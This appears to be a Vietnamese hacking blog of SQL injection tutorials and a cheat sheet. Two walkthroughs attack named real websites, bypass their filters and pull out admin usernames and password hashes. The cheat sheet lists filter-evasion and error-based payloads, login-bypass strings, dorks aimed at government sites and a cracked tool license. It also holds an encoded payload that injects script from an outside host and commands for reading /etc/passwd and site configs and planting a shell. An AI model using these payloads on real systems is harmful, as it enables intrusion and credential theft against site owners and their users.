Thứ Sáu, 21 tháng 3, 2014

Một số cách Bypass SQL injection


Một số trick mình hay dùng khi khai thác.Thường thì chỉ chặn select tuy nhiên có 1 vài trường hợp chặn luôn cả khoảng trắng ở url khi đấy thay các ký tự như /**/ + %252f%252a*/ .... muốn tìm thêm thì nhìn vào setting của havij có mấy cái đấy. Nhưng đấy là số ít, giờ ta vào phần chính:

Cách 1: thay ký tự thường bằng ký tự hoa

id=1+UnIoN SeLeCT 1,2,3,4-- -

Cách 2: dùng cặp thẻ /*!code*/

id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)

/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng Union và select

id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:

sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char()
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:

group_concat(unhex(hex(table_name)))

cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables
Read More..

[TUT] Bypass Filter + 403 Forbidden SQL Injection

victim :

check lỗi :
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
-> Lỗi rồi nhé ! tiếp tục order
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1
đến đây ta thấy ! Filter đã được sử dụng , và nó đã cắn mất kí tự "or" trong "order by 1-- -" mà ta nhập

nó cắn mất thì ta thêm lại. bypass nó như sau :

Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1
-> Vẫn không được rồi . Bypass /*!*/ tiếp nhé :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 1-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Okay ! không lỗi rồi. giờ ta tiếp tục order ( đoạn này mình không giải thích nhiều, ai chưa hiểu thì xem tut cơ bản hơn nữa ) :
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 7-- -
Quote:
Unknown column '7' in 'order clause'
Quote:
http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 6-- -
Quote:
Một số hình ảnh mới về Spa Adam
Posted on 2012-03-15 14:37:25
-> Có 6 column .

Ta tiếp tục UNION SELECT -> tìm cột lỗi để khai thác

Quote:
http://spaadam.com/vi/news.php?newsid=-108 UNION SELECT 1,2,3,4,5,6-- -
Quote:
403 Forbidden
Bypas bằng /*!UNION*/
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNION*/ SELECT 1,2,3,4,5,6-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1
Có lẽ nào em nó đã cắn mất UNION SELECT của mình  !

Bypass :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
Ô_Ô không thấy cái gì rồi ! giờ thay 108 bằng Null nhé 
Quote:
http://spaadam.com/vi/news.php?newsid=Null /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- -
-> Vô nghĩa !

Tiếp tục thử thay số bằng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- -
Đối với việc thay số bằng nulll như thế này ! ta có thể khai thác thử từng vị trí Null khác nhau để tìm vị trí Null lỗi rồi tiếp tục khai thác .
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,version(),Null-- -
Vị trí Null số 5 đã lỗi và xuất hiện kết quả nhưng đã bị mất ở đầu .
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1
giờ dùng cách sau +kết hợp bypass để nó ra đầy cmn đủ 
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1
có version rồi ! giờ ta tiếp tục khai thác table + kết hợp bypass /*!*/ ở Null thứ 5
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!from*/ information_schema./*!tables*/ where table_schema=database()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1
Nó cắn đi khá nhiều "from information_schema" và cả as của database

như lúc order by với union. nó cắn ở đâu thì ta vá lại ở đó :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1
bypass được 2 thứ . kết quả show ra còn 1 thứ nữa. mất or trong từ information

Nào cùng vá lại nó :

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- -
Quote:
Unknown column 'admin' in 'where clause'
Ra table admin luôn. khỏi cần dùng limit để tìm em nó 

tiếp tục khai thác column trong table admin

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -
Quote:
Posted on
Nhưng Khi :
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1
okê rồi ! giờ đã có 2 column cần khai thác. giờ tiến tới data
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ admin-- -
Quote:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Không ra cái gì . Bị cắn phần đuôi . chắc là đã mất từ admin. vá cả cái admin
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column 'admin' in 'where clause'
Nick admin là admin
Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column 'pswd' in 'field list'
pswd hiện ra nhưng đây không phải password của nó ! 

mà là password đã bị nó cắn thôi. giờ TÁT vỡ mồm nó vì cái tội cắn từ đầu đến cuối nhé

Quote:
http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- -
Quote:
Unknown column '5f8f9e33bb5e13848af2622b66b2308c' in 'where clause'
Nick: admin
Pass: vietnam ( anh em gg táng 5f8f9e33bb5e13848af2622b66b2308c vào nhé  )

Tut hết tại đây. Có gì sai sót mong anh em góp ý 

Kẻ Chọc Giận - VNHACKGROUP.NET
Read More..

mot-so-luu-y-khi-khai-thac-sql

Link bị lỗi: http://thuonghieudatviet.com.vn/sites/index.php?id=126’ 

Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

I- Tìm Số trường cột
http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 5-- -
Website Vẫn bình thường

http://thuonghieudatviet.com.vn/sites/index.php?id=126 order by 6-- -
Đã xuất hiện lỗi nè: Invalid query: Unknown column '6' in 'order clause'
¬số cột: 6-1 =5

II- Union để tìm vị trí cột bị lỗi
[/COLOR]


http://thuonghieudatviet.com.vn/sites/index.php?id=126 UNION SELECT 1,2,3,4,5-- -

Hix, nó không cho “union select” rồi:
Invalid query: The used SELECT statements have a different number of columns

III- Một số cách khắc phục


Cách 1:
http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f)),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Cách 2
http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((Select substr(Group_Concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f),1,136)From tbl_user),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Cách 3:
http://thuonghieudatviet.com.vn/sites/index.php?id=126 and (select 1 from (select count(*),concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) from (select 1 union select 2 union select 3)TYN group by 2)vnhack) 

Cách 4:
http://thuonghieudatviet.com.vn/sites/index.php?id=126 or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- -

Tất cả các cách trên đều cho ra thông tin cần tìm:
Invalid query: Duplicate entry '/5.0.92-community/thuonghi_thdv/thuonghi_thdv@localhost/1' for key 1

IV- Exploiting tables_name


Tôi sẽ khai thác cách 1 các còn lại những cách khác các bạn làm tương tự nhé:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Xuất hiện, tên bẳng đầu tiên: “tbl_user” không có số 1 nhé.
Invalid query: Duplicate entry 'tbl_user1' for key 1
Để lấy exploits các bảng tiếp theo bạn thay limit 0,1 thành limit 1,2 rồi limit 2,1 rồi limit 3,1…..Cho tới tên bẳng mà mình cần khai thác.

V – Exploiting columns_name


http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Đã xuât hiện côt đầu tiên: “id”
Invalid query: Duplicate entry 'id1' for key 1

Tiếp tục lấy cột thứ 2:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 1,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Ok, ta đã có column: “username
Invalid query: Duplicate entry 'username1' for key 1
Tiếp tục lấy cột thứ 3:

http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x74626c5f75736572 limit 2,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Ta được column: “password
Invalid query: Duplicate entry 'password1' for key 1

VI – Khai thác thông tin username và password


http://thuonghieudatviet.com.vn/sites/index.php?id=126 And(Select 1 From(Select Count(*),Concat((select concat(0x2f,username,0x2f,password,0x2f) from tbl_user limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack) 

Ok, Xuât hiện thông tin cần khai thác:
Invalid query: Duplicate entry '/dk@@86/e50de53e74fb5c52efcf2feda8159c24/1' for key 1

VII - Giải Mã password và tìm link admin

Username: dk@@86
Password: (*&^%$#@! (theo md5)
Iink admin: http://thuonghieudatviet.com.vn/administrator/index.php
Read More..

những phần mềm cơ bản và kiến thức

++Kiểm Tra Info web :http://whois.domaintools.com/web.
++Dork Sqli:
--Warning: mysql_num_rows(): supplied argument is not a valid MySQL site:gov.vn (Tùy đuôi)
--inurl:.php?id= site:...
++Các Dork tìm site lỗi SQL :
http://kzic.net/5072/share-dork-google-sqli-cho-newbie.html
+++Dork nước ngoài :http://andrepurnomosite.blogspot.com/2013/09/kumpulan-dork-sql-injection.html
+++Dork Vn :http://kzic.net/4187/share-list-dorks-sqli-da-check.html
++Sear Ip :
http://ip.kenh12.com/
+++Bẻ khóa File Win rar :http://archive.online-convert.com/convert-to-zip
+++Scan link admin + MD5 :http://isoftwarez.com/scanner/index.php
++Name Haivij
Name : Cracked@By.Exidous
File : Bạn trỏ tới file "HavijKey.lic"
+++Bypass login ADMIN :
Username:user ' or 1=1# /admin' or '1'='1/ 1'or'1'='1
Password:pass ' or 1=1# /1'or'1'='1
++Tìm mã Hex Table
++My Sql Injection:http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
++Tổng hợp Sqli:http://sla.ckers.org/forum/list.php?16
++Tổng hợp Tut Sql các loại :http://khotien.com/diendan/default.aspx?g=posts&t=1759
++Tut SQLI dạng ASPX:http://root.vn/threads/sqli-khai-thac-doi-voi-aspx.2843/
++Tut SQLI các dạng :http://tutsql.blogspot.com/
++Các dạng Bypass :http://hack2play.blogspot.com/2013/03/waf-bypass-sql-injection-tips.html
++Tut SQLI dễ đến khó :http://nh0ksad.blogspot.com/2013/11/tu-de-en-kho-bypass-waf.html
++Tut hack SQL căn bản
http://sinhvienit.net/forum/tut-hack-sqli-injection-can-ban-cho-newbie-d.247389.html (TH id=null k dk thì id=-...)
++Khai thác Sql Bypass :
http://kechocgian.blogspot.com/2013/02/mot-so-cach-bypass-sql-injection.html
++Khai thác Sql Bypass Filter + 403 Forbidden
http://kechocgian.blogspot.com/2012/10/size6fontarial-blackcolorredtut-by-ke.html
++Tut EROBASE/DOUBLE:https://top-hat-sec.com/forum/index.php?topic=2061.0
++Các kĩ thuật Local Attack:http://ceh.vn/@4rum/showthread.php?tid=3031
++TUT Microsoft OLE DB :http://root.vn/threads/huong-dan-hack-database-qua-sql-injection.2773/
---------------------------------------------------------------------
**************Dạng Java :
***id=-123 UNION SELECT 1,2,concat((0x3c736372697074207372633d22687474703a2f2f6c616e6774756b6964732e636f6d2f73716c692e6a73223e3c2f7363726970743e))langtukids,4-- -
***id=-123'+/*!50000union+select*/ 1,2,concat/*!((0x3c736372697074207372633d22687474703a2f2f6c616e6774756b6964732e636f6d2f73716c692e6a73223e3c2f7363726970743e))*/,4-- -
------------------------------------
***Dạng Basic "and=0":
**Order lỗi : id=123 and=0 UNION SELECT 1,2-- -
Get table,column,data như bt thêm "and=0" sau id.
---------------------------------------------------------------------------
************Dạng Lồng + Bypass bt:
***Order: id=-1' uniounion SELECT 1,2,3-- -
***Get table: id=-1' uniounion SELECT 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -
***Get column:id=-1' uniounion SELECT 1,group_concat(column_name),3 from information_schema.columns where table_name=0x...-- -
***Get Data: id=-1' uniounion SELECT 1,group_concat(tên cột,0x207c20,tên cột,0x207c20),3 from tên table -- -
---------------------------------------------------------------
***********Dạng /*!Union*/ /*!Select*/ :
**Tìm Order lỗi :link victim+null(-null,-id) /*!Union*/ /*!Select*/ 1,2,3...-- -
**Get database :link victim+ /*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!table_name*/) from information_schema./*!tables*/ where table_schema=database()-- -
**Get Colum:link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!column_name*/) 4,5... from information_schema./*!columns*/ where /*!table_name*/=0x+mã hex table-- -
**Get data :link victim +/*!Union*/ /*!Select*/ 1,2,3,group_concat(/*!tên cột,0x7c,tên cột,0x7c,tên cột,0x7c*/) from tên table-- -
-----------------------------------------------------------------
**********Bypass nâng cao dạng /*!Union*/ /*!Select*/ loại ẩn:
***Order lỗi : id=-... /*!Union*/ /*!Select*/ 1,2,3...-- -
***Get database :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get table :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!table_name*/))),3 from information_schema./*!tables*/ where /*!table_schema*/=database()-- -
***Get column:id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!column_name*/))),3 from information_schema./*!columns*/ where /*!table_name*/=0x...()-- -
***Get data :id=-... /*!Union*/ /*!Select*/ 1,unhex(hex(group_concat(/*!tên cột,0x7c,tên cột,0x7c*/))),3 from table -- -
----------------------------------------------------------------
***************Dạng Bypass "=" chặn + ẩn :
***Order lỗi :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,3,4-- -
***Get database:id=-..../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000table_name*/))),4 from information_schema. /*!50000tables*/ where /*!50000table_schema*/+like+database()-- -
***Get column:id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000column_name*/))),4 from information_schema. /*!50000columns*/ where /*!50000table_name*/+like+0x...()-- -
***Get Data :id=-.../*!50000UNION*/ /*!50000SELECT*/ 1,2,unhex(hex(group_concat(/*!50000tên cột,0x7c,tên cột,0x7c*/))),4 from table-- -
-----------------------------------------------------------------------
-----------------------------------------------------------------
********************Dạng Bypass 403 limit ***(Khó)
+++Order lỗi :id=-1'+/*!50000union+select*/+1,2,3,4 -- -
+++Get table:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,table_name)+from+information_schema.tables+where+table_schema=database()+limit+1,1-- - ( Để biết thêm table tăng limit lên 1,1-2,1-3,1...)
+++Get column:id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,column_name)+from+information_schema.columns+where+table_name=0x...+limit+1,1-- -(Tăng limit)
+++Get data :id=-1'+/*!50000union+select*/+1,2,3,concat_ws(0x7c,tên cột,tên cột)+from+tên table -- -
--------------------------------------------------------------------------------------------
----------------------------------Bypass 403 limit ****(cực kì khó)*****
***Tìm order lỗi :id=-1+/*!50000union+select*/+1,2,3-- -
***Get table:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,table_name))*/)+from+/*!information_schema*/.tables+where+table_schema=database()+limit+0,1-- -
***Get column:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,column_name))*/)+from+/*!information_schema*/.columns+where+table_name=0x...+limit+0,1-- -
***Get data:id=-1+/*!50000union+select*/+1,2,unhex(hex(concat_ws/*!(0x7c,tên cột,tên cột))*/)+from+tên table-- -
-------------------------------------------------------------------------
-----------------------Dạng Bypass 403 (/*!00000UNION+SELECT*/)
***Order lỗi :id=-1'+/*!00000UNION+SELECT*/+1,2,3-- -
***Get Table :id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(table_name)))*/,3+/*!from*/+information_schema.tables+where+table_schema=database()-- -
***Get Column:id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(column_name)))*/,3+/*!from*/+information_schema.columns+where+table_name=0x...-- -
***Get Data:id=-1'+/*!00000UNION+SELECT*/+1,/*!00000group_cOncat(unhex(hex(tên cột,0x7c,tên côt,0x7c)))*/,3+from+teeb table-- -
-------------------------------------------------------------------------------------
*****************Dạng chặn () ~~~>cực kì khó.
***Order lỗi :UNION SELECT 1,2,3,4,5,6,7-- - (@@version)
***Get table:UNION SELECT 1,table_schema,3,4,5,6,7 from information_schema.tables where table_schema<>'information_schema' LIMIT 0,1-- - (Tăng limit )
***Get column :UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema='tên table' and table_name=0x... LIMIT 0,1-- - (Tăng limit)
***Get Data :UNION SELECT 1,tên column,tên column,3,4,5,6,7 from tên table-- -
-------------------------------------------------------------------------------------------
***********************Bypass %0AUNION%0ASELECT :
***Order lỗi :id=-1'+%0AUNION%0ASELECT+1,2-- -
***Table:id=-1'+%0AUNION%0ASELECT+1,table_name+from+information_schema.tables
***Column:id=-1'+%0AUNION%0ASELECT+1,colum_name+from+information_schema.columns+where+table_name=0x....-- -
***Info Columns:id=-1'+%0AUNION%0ASELECT+1,tên column+from+tên table-- -
--------------------------------------------------------------------------
****************Dạng Lỗi String-500 ( Khai thác DB MSSQL-Giong ASPX)
***Order lỗi :id=-1' '1','2','3'-- -
***Get table:id=-1' '1',(select top 1 table_name from information_Schema.tables),'3'-- - **Get table tiếp :(select top 1 table_name from information_Schema.tables where table_name not in ('tên table 1'))**
***Get Column:id=-1' '1',(select top 1 column_name from information_schema.columns where table_name=('tên tbl'))),'3'-- - **Get column tiếp:(select top 1 column_name from information_Schema.columns where table_name='tên tbl' and column_name not in ('tên column1'))
***Get Data:id=-1' '1',select top 1 tên column%2b'|'%2b tên column from tên table),'3'-- -
------------------------------------------------------------------------------------
****************Dạng kết hợp Bypass 403 và 406 :
***Order lỗi : id=-1+/*!20000%0d%0aunion*/+/*!20000%0d%0aselect*/+1,2,3-- -
*****************Dạng Get data ẩn :
***group_concat(unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)),0x7c,unhex(hex(tên cột)))+from+tên table-- -
-------------------------------------------------------------------------
****Bypass Filter khó (1 order or nhiều order )
***Get table :id=-1 Union Select group_concat(table_name) FrOm infOrMation_schema.tables
***Get Column :id=-1 Union Select group_concat(column_name) FrOm infOrMation_schema.tables where table_name=0x...-- -
Get Data:id=-1 Union Select group_concat(tên cột,0x7c,tên cột,0x7c) FrOm tên table-- -
*************Basic Get từng table :
***id=-1 UNION SELECT 1,table_name,3 from information_schema.tables limit 0,1-- - (Tăng limit để Get table tiếp theo )
------------------------------------------------------------------------
*******************Dạng id=-1 order by ....-- - không tìm được Order lỗi thì Biến đổi thành id=1' order by ...-- - rồi khai thác Bt.
~~~>K Get dk table thì id=-1' .... rồi khai thác BT.
***************Dạng Table ẩn (UnIoN SeLeCT):
**Order lỗi : id=-... UNION SELECT 1,2,3,...-- -
**Get Database :id=-... UNION SELECT 1,2,database(),4,...-- - (Thay database() vào order lỗi ).
**Get Table :id=-... UNION SELECT 1,2,unhex(hex(group_concat(table_name))),3,4,... from information_schema.tables where table_schema=database()-- -(Thêm unhex(hex nếu table dạng ẩn )
**Get column :id=-... UNION SELECT 1,2,unhex(hex(group_concat(column_name))),4,5,... from information_schema.columns where table_name=0x mã hex table-- -
**Get data :id=-... UNION SELECT 1,2,unhex(hex(group_concat(tên cột,0x7c,tên cột,0x7c,tên cột))),4,5,6,7,8,9,10,11,12,13 from tên table-- -
----------------------------------------------------
--------------------------------------------------
Truy vấn table có chữ cái đầu và chữ cái cuối hay chuỗi kí tự Cho Erro base+Xpath:
======> and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like 'u%')))-- - (chữ cái đầu là u)
======>and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like '%u')))-- - ( chữ cái cuối là u)
======>and extractvalue(rand(),concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name like '%user%')))-- - ( Chuỗi kí tự )
--------------------------------------------------
********************Dạng bypass erro base :
1./*!and(select 1 from(select count(*),concat((select concat(0x7c,version())),floor(rand(0)*2))a from information_schema.columns group by a)d)*/
2./*!And(Select 1 From(Select Count(*),Concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/ ~~~> Tăng limit để get thêm table.
3./*!And(Select 1 From(Select Count(*),Concat((select column_name from information_schema.columns where table_schema=database() and table_name=0x... limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
4./*!And(Select 1 From(Select Count(*),Concat((select concat(0x7c,tên côt,0x7c,tên cột) from tên table limit 0,1),floor(rAnd(0)*2))TYN From Information_Schema.columns Group By TYN)vnhack)*/
----------------------------------------------------------
****************XPath Injection(erro base) :
1.and extractvalue(rand(),concat(0x7c,version(),0x7c,database(),0x7c,user()))-- -
2.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)))-- -
3.and extractvalue(rand(),concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns where table_name=0x"table" limit 0,1)))-- -
4.and extractvalue(rand(),concat(0x7c,(select concat("column",0x7c,"column") from "table" limit 0,1)))-- -
-------------------------------------------
***Dạng Bypass Xpath( Khó )
1.' and extractvalue(rand(),concat/*!(0x7c,version(),0x7c,database(),0x7c,user())*/)-- -
2.' and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,table_name) from /*!information_schema*/.tables where table_schema=database() limit 0,1)))-- -
3.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!(0x7c,column_name) from /*!information_schema*/.columns where table_name=0x"table" limit 0,1)))-- -
4.'and extractvalue(rand(),concat/*!(*/0x7c,(select concat/*!("column",0x7c,"column") from "table" limit 0,1))*/)-- -
-----------------------------------------
*****************XPath Injection(erro base Cao Cấp )
1.or 1 group by concat(0x2f,version(),0x2f,database(),0x2f,user(),0x2f,floor(rand(0)*2)) having min(1) or 1-- - /and updatexml(0,concat(0x7c,version(),0x7c,database(),0x7c,user()),0)-- -
2.and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)-- -
3.and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x... limit 0,1)),0)-- -
4.and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from tên table limit 0,1)),0)-- -
---------------------------------------------
++Khai thác SQL = Erro Base các loại:
http://ku96.blogspot.com/2012/07/mot-so-luu-y-khi-khai-thac-sql.html
http://demo-tainguyen.blogspot.com/2012/05/khai-thac-error-based-quick-blind.html
++Khai thác SQL Blind :
http://ceh.vn/@4rum/showthread.php?tid=1203
++less /etc/passwd
less =cat =more.
++++++++++++++++++Tut LOCAL ATTACK:
http://www.mediafire.com/folder/8lya2k7axwi2y/tutorial
-------------------------BUG JOOMLA 1.5(COM_USER)
+++Công cụ :fire bug.
+++Path:domains/index.php?option=com_user&view=reset&layout=confirm -http://logigear.vn/index.php?option=com_user&view=register
+++Link:http://www.youtube.com/watch?v=kiVfu88mpDA
+++Edit :<input name="jform[groups][]" value="7" />
--------------------------LOCAL ATTACK------------------------------
+++++Tài liệu hướng dẫn Local Attack :http://ceh.vn/@4rum/showthread.php?tid=3031
+++Tut GetRoot cơ bản :http://tutlocal.blogspot.com/2013/06/tut-get-root-can-ban.html & http://www.mediafire.com/download/utyfyjcad47h58y/tut-localroot.rar
+++Lệnh view user đối vs Direc admin :
*cd /etc~~~>cat passwd
*less /etc/virtual/domainowners
+++View chuẩn xác user vs dùng Cpanel:
ls -la /etc/valiases/domain.com
+++View chmod :ls -la /path
+++Lệnh view config sever Joomla :
*less /user/domains/victim.com/public_html/configuration.php (Tùy Path)
+++Cú Pháp SSI SHELL :
Ip/~user/path (Sau public_html)
++Cmd coppy Shell:
cp path shell /home/user victim/public_html/1.php
--------------Pass MD5+SALT:
+++"1ead0efb9e47a371c301afbea8f57274:HmkI9oJSb8qdKzTXwfzJjdKwLSbUZDnZ" = 123456
+++WP :$P$B7u/NYhVtuYh/cBLFwjpMmeyImMaRb.=123456
+++VBB :MD5:bfffa5fdecdaff2ba90ce80234740db5
salt: <QU0OQ*_?^o"#.W>,S@`qpEYvu25l) =123456
-------------------------------An Ninh---------------------
+++Chống LOCAL: Chmod folder 501 và file config về 400 .
-------------------------------SEO---------------------
+++Check pr :http://www.thuvienseo.net/seotools/checkpagerank/
Read More..

Gunakan Google Chrome Untuk Mendapatkan Tampilan Terbaik Blog Ini ( ^_^ )